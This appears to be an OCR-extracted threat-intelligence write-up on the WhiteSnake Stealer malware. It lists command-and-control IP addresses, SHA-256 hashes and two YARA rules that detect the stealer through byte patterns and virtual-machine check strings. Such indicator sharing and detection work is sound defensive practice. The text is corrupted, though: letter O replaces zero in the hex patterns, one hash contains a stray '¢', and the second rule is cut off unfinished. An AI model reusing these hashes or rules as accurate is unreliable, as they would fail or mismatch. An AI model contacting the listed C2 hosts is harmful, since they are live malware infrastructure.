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https://github.com/RussianPanda95/Configuration_extractors/blob/main/

Name

Indicators

C2 116.202.101.219:8080
C2 212.87.204.197:8080
C2 212.87.204.196:8080
C2 81.24.11.40:8080

C2 195.201.135.141:9202
C2 18.171.15.157:80

C2 45.132.96.113:80

C2 5.181.12.94:80

C2 185.18.206.168:8080
C2 212.154.86.44:83

C2 185.217.98.121:80
C2 172.245.180.159:2233
C2 216.250.190.139:80
C2 205.185.123.66:8080
C2 66.42.56.128:80

C2 104.168.22.46:8090
C2 124.223.67.212:5555
C2 154.31.165.232:80

C2 85.8.181.218:80

C2 139.224.8.231:8080
C2 106.55.134.246:8080
C2 144.22.39.186:8080
C2 8.130.31.155:80

C2 116.196.97.232:8080

C2

123.129.217.85:8080
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Name Indicators

C2 106.15.66.6:8080

C2 106.3.136.82:80

SHA-256 f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50

SHA-256 c¢219beaecc91df9265574eeabe9d866c224549b7f41cdda7e85015f4ae99b7c7

Yara Rules

rule WhiteSnakeStealer {

meta:
author = "RussianPanda"
description = "Detects WhiteSnake Stealer XOR version"
date = "7/5/2023"

strings:

$s1 = {FE OC 00 00 FE 09 00 00 FE OC 02 00 6F ?? 00 00 OA FE OC 03 00
61 D1 FE OE 04 00 FE}
$s2 = {61 6e 61 6C 2e 6a 70 67}
condition:
all of ($s*) and filesize < 600KB

}

rule WhiteSnakeStealer {

meta:
author = "RussianPanda"
description = "detects WhiteSnake Stealer RC4 version"
date = "7/5/2023"

strings:

$s1 = {73 68 69 74 2e 6a 70 67}
$s2 = {FE 6C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE OE
?? 00 38 ?? 00 00 0O FE 0OC}

$s3 = "gemu" wide
$s4 = "vbox" wide
condition:

all of ($s*) and filesize < 300KB
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